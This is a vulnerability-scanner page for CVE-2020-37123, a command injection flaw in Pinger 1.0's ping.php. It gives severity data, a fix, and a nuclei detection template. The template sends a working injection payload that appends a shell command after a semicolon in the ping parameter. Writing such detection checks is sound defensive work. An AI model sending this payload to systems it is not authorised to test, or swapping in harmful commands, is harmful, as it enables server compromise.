Pinger 1.0 - Remote Code Execution

criticalseverity

9.8CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters.

Impact

An unauthenticated attacker can execute arbitrary system commands on the server.

Fix

Remove Pinger or apply input validation to sanitize the ping and socket parameters.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "ping.php"
Send: POST /ping.php
Positive when: contains "{{md5('CVE-2020-37123')}}" AND status 200

Run it with nuclei: nuclei -id CVE-2020-37123 -u <target>

The full check

id: CVE-2020-37123

info:
  name: Pinger 1.0 - Remote Code Execution
  author: bswearingen
  severity: critical
  description: |
    Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters.
  impact: |
    An unauthenticated attacker can execute arbitrary system commands on the server.
  remediation: |
    Remove Pinger or apply input validation to sanitize the ping and socket parameters.
  reference:
    - https://www.exploit-db.com/exploits/48323
    - https://nvd.nist.gov/vuln/detail/CVE-2020-37123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-37123
    epss-score: 0.03346
    epss-percentile: 0.88774
    cwe-id: CWE-78
  metadata:
    verified: true
    vendor: pinger
    product: pinger
  tags: cve,cve2020,pinger,rce,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "ping.php"
        internal: true

  - raw:
      - |
        POST /ping.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ping=127.0.0.1;echo+{{md5('CVE-2020-37123')}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5('CVE-2020-37123')}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from